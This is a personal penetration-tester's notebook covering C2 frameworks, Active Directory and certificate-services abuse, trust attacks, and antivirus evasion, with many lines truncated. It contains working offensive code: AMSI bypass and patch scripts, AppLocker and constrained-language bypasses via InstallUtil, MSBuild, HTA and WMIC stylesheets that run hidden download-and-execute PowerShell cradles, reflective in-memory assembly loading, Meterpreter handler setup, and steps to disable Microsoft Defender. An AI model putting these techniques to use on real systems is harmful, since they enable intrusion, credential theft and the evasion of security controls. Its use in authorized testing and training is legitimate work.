Pentester's Notebook: Techniques & Tools
Pentester's Notebook: Techniques & Tools
README
Hey there!
I'm snovvcrash and that's a gitbook for keeping my pentest notes on hand. It's far from being perfect in terms
of organization (that's why I call it "promiscuous") and, basically, I'm logging it for myself, but it turned out that
hosting it online makes it most convenient to access. So, if you find it handy too, feel free to use it...
responsibly, of course!
While taking these notes, one main rule is that all the given techniques are actually tested either during a
real engagement or in a training lab.
DISCLAIMER. All information contained in this blog is provided for educational and research
purposes only. The author is not responsible for any illegal use of any information published on
the pages of this blog.
About
snovvcrash@gh-pages:~$ _
snovvcrash@gh-pages:~$ _
snovvcrash - Overview
GitHub
⚒️Pentest
C2
[Link]
[Link]
[Link]
[Link]
Covenant
[Link]
Install
[Link]
Cheatsheet
Make a sacrificial token to be used with Over-PtH attacks:
Empire
[Link]
Install
[Link]
Run
Cheatsheet
Basic PowerShell launcher string:
PS > powershell -NoP -sta -NonI -W Hidden -Exec Bypass -C "IEX(New-Object [Link]).Downl
Prepare a listener:
Generate a C# stager:
(Empire:
(Empire: listeners) > useplugin csharpserver
useplugin/csharpserver) > set status start
(Empire: useplugin/csharpserver) > execute
(Empire: useplugin/csharpserver) > usestager windows/csharp_exe
(Empire: usestager/windows/csharp_exe) > set Listener http1
(Empire: usestager/windows/csharp_exe) > set OutFile [Link]
(Empire: usestager/windows/csharp_exe) > generate
Plugins
[Link]
[Link]
Customizing Agents
[Link]
Metasploit
[Link]
[Link]
[Link]
[Link]
[Link]
Cheatsheet
Quick handler launch:
$ openssl req -batch -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout [Link] -out cert.c
$ cat [Link] [Link] > [Link]
$ msfvenom -p ... HandlerSSLCert=./[Link] StagerVerifySSLCert=true ...
msf exploit(multi/handler) > set HandlerSSLCert /home/snovvcrash/[Link]
msf exploit(multi/handler) > set StagerVerifySSLCert true
[Link]
// sudo msfconsole -qr [Link]
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_winhttps
set LHOST [Link]
set LPORT 443
set EXITFUNC thread
set StageEncoder x64/zutto_dekiru
set EnableStageEncoding true
set HandlerSSLCert /home/snovvcrash/[Link]
set StagerVerifySSLCert true
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
exploit -jz
meterpreter
Reverse local port 3389 (on Victim, [Link] ) to local port 43389 (on Attacker):
Routing:
Inject shellcode:
Debug
[Link]
HackTheBox - DropZone
YouTube
$ gem install pry-byebug
$ vi ~/.pry-byebug
pry-byebug
if defined?(PryByebug)
[Link].alias_command 'c', 'continue'
[Link].alias_command 's', 'step'
[Link].alias_command 'n', 'next'
[Link].alias_command 'f', 'finish'
end
$ cp -r /usr/share/metasploit-framework/ /opt
$ vi /opt/metasploit-framework/msfconsole
...add "require 'pry-byebug'"...
$ mkdir -p ~/.msf4/modules/exploits/linux/http/
$ cp /usr/share/metasploit-framework/modules/exploits/linux/http/[Link] ~/.msf4/modules/
$ vi ~/.msf4/modules/exploits/linux/http/[Link]
...add "[Link]"...
PoshC2
[Link]
Install
[Link]
Run
List projects:
$ posh-project -l
$ posh-project -c
$ posh-project -n <PROJECT_NAME>
Adjust config:
$ posh-config
$ posh-server
$ posh -u snovvcrash
Cheatsheet
Load .NET assembly and run it (available for agents that load CLR):
Sliver
[Link]
Install
[Link]
For a client get a sliver-client binary from releases or disable the service if installed as a daemon:
[Link]
$ sudo vi /root/.sliver/configs/[Link]
$ sudo systemctl restart [Link]
Cheatsheet
A redirector-aware pair of payload and listener (when redirecting to PRIVATE_IP:8443 ):
sliver > generate --os windows --arch amd64 --format shellcode [--evasion] --http [Link]
sliver > https --domain [Link] --lhost <PRIVATE_IP> --lport 8443
Infrastructure
hostname
ifconfig eth0
route -n
cat /etc/[Link]
arp -a
AD
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Pentesting AD Mindmap
AD Labs
[Link]
[Link]
Capsulecorp
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
Microsoft Wont-Fix-List
[Link]
Tools
BloodHound
[Link]
[Link]
[Link]
[Link]
Setup
EOT
rm /tmp/customqueries*.json
curl -sSL "[Link]
sed -i 's/"password": "exegol4thewin"/"password": "WeaponizeK4li!"/g' ~/.config/bloodhound/con
Collectors
[Link]
[Link]
[Link]
[Link]
SharpHound.ps1
[Link]
[Link]
[Link]
$ cd ~/ws/enum/bloodhound/[Link]/
$ bloodhound-python -c All,LoggedOn --zip -u snovvcrash -p 'Passw0rd!' -d [Link] -ns 1
$ proxychains4 -q bloodhound-python -c All,LoggedOn --zip -u snovvcrash --hashes aad3b435b5140
[Link]
[Link]
[Link]
Cypher (Neo4j)
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
# [Link]
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange
[Link]
[Link]
[Link]
Manually Parse Bloodhound Data with JQ to Create Lists of Potentially Vulnerable Us…
Us…
There're 2 global dicts in JSON files: data and meta . We care about data :
List user accounts whose passwords were set after their last logon (an effective list for password spraying
assuming that the passwords were set by IT Desk and may be guessable):
$ ls
20220604043009_computers.json 20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_group_member.py 'DOMAIN ADMINS@[Link]'
Recursively list all groups which the user is a member of (mimics RSAT Get-ADUser | select
memberof , script):
$ ls
20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_user_memberof.py 'SNOVVCRASH@[Link]'
Generate a .csv file containing AD trusts mapping to be used in TrustVisualizer (mimics PowerView
Get-DomainTrustMapping , script):
$ ls
20220604043009_domains.json
$ python3 get_domain_trust_mapping.py
PowerView / SharpView
[Link]
[Link]
[Link]
PowerView2.ps1
PowerView3.ps1
PowerView4.ps1 (ZeroDayLab)
[Link]
Example Queries
Users
List domain user accounts that do not require Kerberos pre-authentication (see ASREPRoasting):
List domain user accounts with Service Principal Names (SPNs) set (see Kerberoasting):
Search for domain user accounts which may have sensitive stored in the description field:
Groups
Enumerate domain computers where specific users (Identity) are members of a specific local group
(LocalGroup):
Computers
Shares
GPOs
List all domain users with a 4-digit RID (eliminates default objects like 516, 519, etc.) who can edit GPOs:
Impacket
[Link]
[Link]
[Link]
Install:
Mitigations
Common vulnerabilities & misconfigurations and recommendations:
[Link]
common-users
[Link]
[Link]
[Link]
[Link]
[Link]
ed033b888721
Administrative Tier Model & Microsoft RaMP (Zero Trust Rapid Modernization Plan):
[Link]
[Link]
[Link]
dcb44498cfc2
[Link]
security-review
[Link]
[Link]
ACL Abuse
Access Control Lists
[Link]
directory-acls-aces
[Link]
[Link]
entries#exploitation-paths
[Link]
attacks/
BloodHound
SDDL
[Link]
[Link]/2020/01/27/[Link]
[Link]/2020/06/01/[Link]
[Link]
Let's say that the ACE on object A applies to object B. This grants or denies object B access to object A
with the specified access rights.
(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)
AceType:
A = ACCESS_ALLOWED_ACE_TYPE
Access rights:
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL
Ace Sid:
S-1-1-0
ActiveDirectory
PowerView2
Check if the attacker "MEGACORP\sbauer" has GenericWrite permissions on the "jorden" user object:
InheritedObjectType : All
ObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL <== Vict
ObjectType : All
IdentityReference : MEGACORP\sbauer <== Attacker (sbauer)
IsInherited : False
ActiveDirectoryRights : GenericWrite
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : ContainerInherit
InheritanceType : All
AccessControlType : Allow
ObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110
PowerView3
AceType : AccessAllowed
ObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL
ActiveDirectoryRights : GenericWrite
OpaqueLength : 0
ObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110 <== Victim (jorden)
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3167813660-1240564177-918740779-3102 <== Attacker (sbauer)
AccessMask : 131112
AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed
PowerView 3.0 does not return IdentityReference property, which makes it less handy for this task
(however, you may filter the output by the attacker's SID). To automatically convert SIDs to names we can
use the following loop:
Abuse GenericAll
Find domain users that current user has GenericAll access right to:
Find domain groups that current user has GenericAll access right to:
Abuse WriteDACL
Find domain groups that current user has WriteDACL access right to:
PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Iden
The attacker can take the full control of discovered groups and then add a users to them:
PV3 > Add-DomainObjectAcl -TargetIdentity "IT Desk" -PrincipalIdentity snovvcrash -Domain tric
PV3 > Add-DomainGroupMember -Identity "IT Desk" -Members snovvcrash -Verbose
Group membership will take its sweet time to be updated within target user's TGT. To force the
update one may purge existing tickets and request new TGT:
Using [Link]:
[Link]
[Link]
[Link]
$ aclpwn -f snovvcrash -ft user -t [Link] -tt domain -d [Link] -du neo4j -dp n
Using PowerView2:
Using PowerView3:
[Link]
3. Create a new ACL and within it set "Replicating Directory Changes" (GUID 1131f6ad-9c07-11d1-
f79f-00c04fc2dcd2 ) and "Replicating Directory Changes All" (GUID 1131f6aa-9c07-11d1-
f79f-00c04fc2dcd2 ) rights for the SID from (2).
4. Apply changes.
[Link]
[Link]
Returns all security groups in the current (or target) domain that have a manager set:
Enumerate the ACLs set on this group. GenericWrite privilege means that the user can modify group
membership:
Tools
Aced
[Link]
AD CS Abuse
Active Directory Certificate Services
[PDF] Certified Pre-Owned. Abusing Active Directory Certificate Services (Will Schroeder, Lee
Christensen)
[Link]
[Link]
for-the-domain-admin-2/
[Link]
[Link]
abuse
[Link]
and-more-34d1c26f0dc6
This page is a selective copy-paste of the Certified Pre-Owned PDF (mainly offensive
techniques) without testing "in the wild"! When any of the discussed techniques is actually
performed by me during an engagement, corresponding notes are get reviewed, supplemented
with examples from my personal experience and put into a separate section, e.g. ESC1, ESC8,
etc.
Glossary
Enumerate
Enumerate AD Enterprise CAs and their settings with PowerShell:
With PowerShell:
With CertStealer:
If the private key is non-exportable, use Mimikatz's crypto::capi (to patch CAPI in current process) or
crypto::cng (to patch [Link] memory):
Decrypt a domain user's masterkey with domain's backup key with Mimikatz:
Simplify the process with SharpDPAPI providing it a file with one or more {GUID}:SHA1 masterkey
mappings (will output a .pem file):
It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use
the DPAPI_SYSTEM LSA secret on the system which is accessible only by the SYSTEM user:
# While elevated
Cmd > .\[Link] certificates /machine
After converting the output to .pfx and if the appropriate EKU scenario is present, the adversary can use
that .pfx for domain authentication as the computer account (see PERSIST2).
Search for Certificate Files (THEFT4)
Find certificate templates available for enrollment for the current user:
Search for any template that allows domain authentication (a stock published template that allows client
authentication is the User template).
This will output a certificate and private key in .pem . To convert it to .pfx compatible with Rubeus do:
$ openssl pkcs12 -in [Link] -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -ex
After that an adversary can upload it to target and use Rubeus to request a valid TGT, for as long as the
certificate is valid (default certificate lifetime is one year):
This approach will work even if the user changes their password. Combined with the THEFT5 technique, an
adversary can also persistently obtain the account's NTLM hash.
Same as for PERSIST1 but requesting a certificate for enrolling current machine context:
# While elevated
Cmd > .\[Link] request /ca:[Link]\CorpCA /template:Machine /machine
With access to a machine account certificate an adversary can use S4U2Self to obtain a Kerberos ticket to
any service on the host (see RBCD Abuse) or generate a silver ticket.
Certificate Renewal
Certificate template validity period - determines how long an issued certificate can be used.
Certificate template renewal period - determines a window of time before the certificate expires where
an account can renew it from the issuing certificate authority.
An adversary can renew the compromised certificate before the validity period expires, and so that extend
their access to AD without requesting additional ticket enrollments.
Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as
allows Any Purpose EKU ( [Link].0 ).
Conditions:
2. Request a certificate on behalf of another user based on a template that allows domain authentication:
EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)
If this flag is set on the CA, any request (including when the subject is built from Active Directory) can
have user defined values in the subject alternative name.
This means that an adversary can enroll in any template configured for domain authentication that also
allows unprivileged users to enroll (e.g., the default User template) and obtain a certificate that allows to
authenticate as a domain admin or any other active user/machine.
To abuse request a certificate specifying an /altname with any template that allows for domain auth (e.g.,
the default User template which normally doesn't allow to specify alternative names):
This setting can be set with domain admin's privileges like this (dangerous, do not do this!):
ManageCA and ManageCertificates rights translate to the "CA Administrator" and "Certificate
Manager" ("CA Officer") respectively.
The "CA Administrator" role allows to set the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (see ESC6):
# Invoke SetConfigEntry
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object [Link] "CA0
PSPKI > $[Link]($true)
PSPKI > $[Link]("EditFlags", "PolicyModules\CertificateAuthority_Microsof
1114446
PSPKI > $[Link](1376590, "EditFlags", "PolicyModules\CertificateAuthority
# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
Cmd > hostname
DC01
Cmd > [Link] -config "[Link]\CorpCA" -getreg "policy\EditFlags"
The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used
by an adversary to subvert the "CA certificate manager approval" protection:
Audit
[Link]
[Link]
Misc
Parse .pfx with PowerShell:
Tools
Certify
[Link]
[Link]
[Link]
Certify.ps1
Certipy
[Link]
Get TGT automatically and list CAs, servers and search for vulnerable certificate templates (output in text,
JSON and BloodHound formats):
certi
[Link]
Get TGT:
PassTheCert
[Link]
[Link]
[Link]
dNSHostName Spoofing
CVE-2022-26923
[Link]
9e098fe298f4
[Link]
[Link]
[Link]
[Link]
Check
If there's an object SID printed when requesting a certificate based on the User or Machine templates, the
AD environment is not vulnerable:
Exploit
Create a new machine account with dNSHostName containing FQDN of a DC:
Abuse PKINIT
Authenticate with the obtained certificate and get DC's NT hash via PKINIT:
Abuse RBCD
[Link]
Authenticate with obtained certificate and configure RBCD on a DC via bloodyAD to allow delegation to the
fake machine account:
[Link]
[Link]
ESC1
Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs
[Link]
certificate-kerberos-pkinit-from-linux/
The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart
Card Logon ( [Link].[Link].2.2 ) or Client Authentication ( [Link].[Link].2 ) or PKINIT
Client Authentication ( [Link].[Link] ) EKUs.
Enumerate
Find template with this misconfiguration with native Active Directory module:
Exploit
Certify
$ openssl pkcs12 -in [Link] -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -ex
Certipy
certi
[Link]
ESC4
Vulnerable Certificate Template ACEs
[Link]
Right Description
[Link]
ESC8
NTLM Relay to AD CS HTTP Endpoints
[Link]
directory/
[Link]
Enumerate
Discover CES endpoints with certutil:
Exploit
ntlmrelayx
[Link]
[Link]
[Link]
PKINITtools
[Link]
[Link]
[Link]
Backup original [Link] and copy one from the toolkit with a modified domain name and a
template if needed ( DomainController is by default, but also one may use
KerberosAuthentication ):
$ sudo cp /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/[Link] /u
$ subl ntlmrelayx/[Link]
$ sudo cp ntlmrelayx/[Link] /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx
Perform the relay attack, request the TGT via PKINIT and get the NT hash based on U2U Kerberos
extension:
$ sudo mv /usr/lib/python3/dist-packages/impacket/examples/ntlmrelayx/attacks/[Link]
Certipy
ADCSPwn
[Link]
ADIDNS Abuse
Active Directory integrated DNS
[Link]
[Link]
[Link]
0. Load tools:
2. Create, configure the new DNS name that could be likely exploited for spoofing with Attacker's IP and
enable it. I chose pc01 which was found in DNS cache:
3. Check the newly created DNS object and try to resolve it. AD will need some time (~180 seconds) to sync
LDAP changes via its DNS dynamic updates protocol:
4. Cleanup:
adidnsdump
[Link]
If you need to dump a child domain ADIDNS (say [Link] ), then you may want to use
--zone and --forest options:
Merge all the IPs into /24 CIDRs with a Python script:
cidr_merge.py
#!/usr/bin/env python3
"""
Merge standalone IPs into CIDRs.
Example:
$ cat ~/ws/enum/[Link] | awk -F, '{print $3}' > [Link]
$ cidr_merge.py | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n | grep -e '^192' -e '^172' -e '^10
"""
import netaddr
iplst = []
with open('[Link]', 'r') as fd:
for line in fd:
ip = [Link]('\n')
try:
[Link]([Link](f'{ip}/24'))
except [Link]:
pass
Or using mapcidr:
DnsServer
Dump ADIDNS using PowerShell and DnsServer module:
Attack Trusts
"Note that the Active Directory domain is not the security boundary; the AD forest is." - Sean Metcalf (ref)
[Link]
[Link]
[Link]
[Link]
Theory
[Link]
[Link]
[Link]#L48-L60
Trust 👉🏻 a link between the authentication systems of two domains.
Transitive trust 👉🏻 the trust is extended to objects which the child domain trusts.
sIDHistory/ExtraSids Hopping
[Link]
[Link]
[Link]
to-ea-in-parent-domain
Abusing Bidirectional ParentChild trust between child megacorp local ⟷ megacorp local
Check if SID filtering is enabled for a trust:
For creating a cross-trust golden ticket (forged inter-realm TGT) we'll need:
2. name of the child domain's DC machine account and its RID ( DC01$ , 31337 );
6. ???
7. PROFIT.
1.
PS > $env:userdnsdomain
[Link]
2.
PV2 > (Get-NetComputer -ComputerName [Link] -FullData | select ObjectSID).O
PV3 > (Get-DomainComputer [Link] | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-31337
3.
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634
4.
PS > (New-Object [Link]("[Link]","krbtgt")).Translate([Sy
S-1-5-21-2284550090-1208917427-1204316795-502
PS > ([[Link]]::GetCurrentForest())[0].[Link]
[Link]
DCSync:
Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native
user in current domain), we can request Kerberos tickets manually with Rubeus.
UnD + PrinterBug
[Link]
[Link]
71f2b33688e1
[Link]
[Link]
Spoolsample.ps1
[Link]
Unconstrained
Can be abused either if CVE-2019-0683 is not fixed or if EnableTGTDelegation is enabled for the
trusted forest:
List user accounts from a target domain with SPNs set for Kerberoasting:
PV3 > Get-DomainUser -SPN -Domain [Link] | ? {$_.samAccountName -ne "krbtgt"} | select
PS > .\[Link] Get-DomainUser -SPN -Domain [Link] -Properties samAccountName,mem
If SID history is enabled (e.g., if domain is on its migration period, netdom trust [Link] /d:[Link]
/enablesidhistory:yes ) then the forest trust is treated as external.
We can try to locate non-default (with RID greater than 1000) admin account:
If such an account is a member of a domain local security group (not a global group like Enterprise Admins
or Domain Admins) and allows us to pwn a user or a computer in target domain, we can forge the inter-realm
TGT the same way as described above.
CVE-2020-0665
[Link]
[Link]
[Link]
Visualization (yEd)
[Link]
[Link]
[Link]
[Link]
PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation [Link]
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation [Link]
$ git clone [Link] && cd TrustVisualizer
$ pip3 install -r [Link]
$ python3 [Link] [Link]
AV / EDR Evasion
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
5fc6a199a8f33a1036140386
Recon
[Link]
[Link]
PS > cd C:\Windows\[Link]\Framework64\
PS > ls
PS > cd .\v4.0.30319\
PS > Get-Item .\[Link] | Fl
Or
PS > [[Link]]::GetVersionInfo($(Get-Item .\[Link])).FileVersion
1511 4.6.1
1607 4.6.2
1703 4.7
1709 4.7.1
1803 4.7.2
1909+ 4.8
4, 4.5-4.8 4
Note that we don't have to target the exact .NET Framework version when compiling our tools. It's
enough to match the above relationship between .NET Framework version and CLR version, i. e.
all 4.x versions will execute on CLR v4. For example, Rubeus compiled to target v4.5 will run on
a machine with only .NET v4.0 installed.
Tools
msfvenom
Veil-Evasion
Hyperion + Pescramble
GreatSCT
[Link]
HackTheBox - Arkham
Install and generate a payload:
$ msfconsole -r /usr/share/greatsct-output/handlers/[Link]
Invoke-Obfuscation
[Link]
[Link]
Out-EncryptedScript.ps1
[Link]
EncryptedScript.ps1
[Link]
PowerShellArmoury
[Link]
[Link]
[Link]
Ebowla
PEzor
[Link]
inceptor
[Link]
[Link]
ScareCrow
[Link]
[Link]
[Link]
Huan
[Link]
[Link]
MeterPwrShell
[Link]
[Link]
SharpSploit
[Link]
[Link]
%20Quick%20Command%[Link]
SharpGen
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
A way to bypass AV signature analysis: you can gzip-compress and base64-encode a .NET assembly to
load it reflectively via PowerShell right from memory (when compiling the binary, make Program class and
its Main method public):
CompressEncodeAssembly.ps1
$bytes = [[Link]]::ReadAllBytes("$(pwd)\[Link]")
[[Link]] $outStream = New-Object [Link]
$gzipStream = New-Object [Link]($outStream, [[Link].C
$[Link]($bytes, 0, $[Link])
$[Link]()
$[Link]()
[byte[]] $outBytes = $[Link]()
$b64Zipped = [[Link]]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\[Link]
[Link] .\[Link]
An example how the binary can be actually decoded, decompressed and run from memory:
function Invoke-S0m3B1n4ry
{
[CmdletBinding()]
Param([String]$cOmmANd = " ")
$a = NeW-obJeCt [Link](,[coNveRT]::frombaSE64sTrINg("..."))
[[Link]]::maiN($[Link]())
# or [[Link]]::maiN([string[]]$args)
[cOnsolE]::sEtout($olDCONsOleout)
$resUlTs = $[Link]()
$rESuLTs
}
C# to Unmanaged DLL
[Link]
2. Install DllExport package via "Manage NuGet Packages for Solution" in VS.
5. Edit the Main function code to work with no arguments passed so that the signature looks like static
void Main() .
6. Add [DllExport] attribute before the Main function.
7. Check "Allow unsafe code" and "Optimize code" boxes in Build tab of the solution.
8. Build the solution as Release x64 DLL assembly.
9. (Optional) Obfuscate the assembly with something like Confuser.
DllExport Configuration
Author's note: I’m not sure why it requires so much finessing, but I’m open to any optimizations or
explanations if anyone knows. Specifically, only the DLL in the \x64\ directory will work, for
some reason the one that’s under \Release\ does not contain the entrypoint that should be
generated by [DllExport] , even though it’s built at the same time as the one in \x64\ .
AMSI Bypass
Antimalware Scan Interface
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
PowerShell
Evil-WinRM + IEX
Wipe amsiContext
amsiContext.ps1
$a = [Ref].[Link]()
ForEach($b in $a) {if ($[Link] -like "*iUtils") {$c = $b}}
$d = $[Link]('NonPublic,Static')
ForEach($e in $d) {if ($[Link] -like "*Context") {$f = $e}}
$g = $[Link]($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[[Link]]::Copy($buf, 0, $ptr, 1)
Set amsiInitFailed
amsiInitFailed.ps1
$a = [Ref].[Link]()
ForEach($b in $a) {if ($[Link] -like "*iUtils") {$c = $b}}
$d = $[Link]('NonPublic,Static')
ForEach($e in $d) {if ($[Link] -like "*Failed") {$f = $e}}
$[Link]($null,$true)
Obfuscated:
[Link]
amsiInitFailed-obf.ps1
$A="5492868772801748688168747280728187173688878280688776";$B="82811736808676568776798668808676
Patch AmsiScanBuffer
[Link]
[Link]
[Link]
rasta-mouse
[Link]/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-
[Link]
[Link]
amsiScanBuffer.ps1
function lookupFunc {
Param ($moduleName, $funcName)
beforeAndAfterPatch.ps1
using System;
using [Link];
using [Link];
namespace ConsoleApp
{
class Program
{
// Test sample
//var sample = [Link](@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD
var sample = [Link](@"C:\Tools\Rubeus\Rubeus\bin\Debug\[Link]");
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
[DllImport("[Link]")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("[Link]")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect
[DllImport("[Link]")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("[Link]")]
static extern uint AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
// The antimalware provider may return a result between 1 and 32767, inclusive, as an
// The larger the result, the riskier it is to continue with the content.
// Any return result equal to or larger than 32768 is considered malware, and the cont
[DllImport("[Link]")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, stri
}
}
Patch AmsiOpenSession
amsiOpenSession.ps1
function lookupFunc {
Param ($moduleName, $funcName)
function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)
[Link]
techniques-and-introducing-a-new-one-26120
[Link]
[Link]
[Link]
mpoavdll
[Link]
List registered AMSI Providers (same as AMSIProviders):
Jscript
[Link]
var sh = new ActiveXObject('[Link]');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try {
var AmsiEnable = [Link](key);
if (AmsiEnable != 0) {
throw new Error(1, '');
}
} catch(e) {
[Link](key, 0, "REG_DWORD");
[Link]("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}" + [Link], 0
[Link](key, 1, "REG_DWORD");
[Link](1);
}
<EVIL_SCRIPT_CONTENTS>
...
Rename [Link]
[Link]
var filesys= new ActiveXObject("[Link]");
var sh = new ActiveXObject('[Link]');
try {
if([Link]("C:\\Windows\\Tasks\\[Link]") == 0) {
throw new Error(1, '');
}
} catch(e) {
[Link]("C:\\Windows\\System32\\[Link]", "C:\\Windows\\Tasks\\[Link]")
[Link]("C:\\Windows\\Tasks\\[Link]
[Link](1); -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScri
}
<EVIL_SCRIPT_CONTENTS>
...
[Link]
whitelisting-rules/
[Link]
AppLocker Bypass
AppLocker Bypass
[Link]
[Link]
[Link]
[Link]
Enumeration
InstallUtil
[Link]
using System;
using [Link];
using [Link];
using [Link];
namespace BypassCLM
{
class Program
{
static void Main(string[] args)
{
[Link]("These aren't the droids you're looking for.");
}
}
[[Link](true)]
public class Sample : [Link]
{
public override void Uninstall([Link] savedState)
{
string cmd = "IEX(New-Object [Link]).DownloadString('[Link]
Runspace rs = [Link]();
[Link]();
PowerShell ps = [Link]();
[Link] = rs;
[Link](cmd);
[Link]();
[Link]();
}
}
}
C:\Windows\assembly\GAC_MSIL\[Link]\1.0.0.0__31bf3856ad364e35
[Link]
[Link]
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="[Link] xmlns="[Link]
<files xmlns:d2p1="[Link]
<d2p1:string>[Link]</d2p1:string>
</files>
<parameters xmlns:d2p1="[Link]
<assemblyNames xmlns:
<compilerOptions d3p1="[Link]
i:nil="true" xmlns="h
xmlns="[Link]
<coreAssemblyFileName xmlns="[Link]
<embeddedResources xmlns:d3p1="[Link] xmln
<evidence xmlns:d3p1="[Link] i:nil="t
<generateExecutable xmlns="[Link]
<generateInMemory xmlns="[Link]
<includeDebugInformation xmlns="[Link]
<linkedResources xmlns:d3p1="[Link] xmlns=
<mainClass i:nil="true" xmlns="[Link]
<outputName xmlns="[Link]
<tempFiles i:nil="true" xmlns="[Link]
<treatWarningsAsErrors xmlns="[Link]
<warningLevel xmlns="[Link]
<win32Resource i:nil="true" xmlns="[Link]
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="[Link] i:ni
<d2p1:localAssembly xmlns:d3p1="[Link] i:n
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="[Link] i:nil="
</parameters>
</CompilerInput>
[Link]
using System;
using [Link];
using [Link];
MSBuild
[Link]
[Link]
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("[Link]");
var res = [Link]("[Link]");
</script>
</head>
<body>
<script language="JScript">
[Link]();
</script>
</body>
</html>
WMIC
[Link]
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="[Link]
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="[Link]
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("[Link]");
[Link]("[Link] -WindowStyle Hidden -NoP -NoLogo -exec Bypass -e
]]>
</ms:script>
</stylesheet>
CLM Bypass
PowerShell Constrained Language Mode
[Link]
Recon
Check PowerShell language mode:
PS > $[Link]
In-place functions:
PS > whoami
The term '[Link]' is not recognized as the name of cmdlet...
PS > &{ whoami }
megacorp\snovvcrash
Tools
[Link]
[Link]
Defender
Microsoft Defender
Coerce the victim machine to reach the attacker (to steal Net-NTLM):
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link] > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Real-
time Protection > Turn off real-time protection > Enabled ✔
[Link] > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Turn
off Microsoft Defender Antivirus > Enabled ✔
Disable scanning all downloaded files and attachments, disable AMSI (reactive):
Remove signatures (if Internet connection is present, they will be downloaded again):
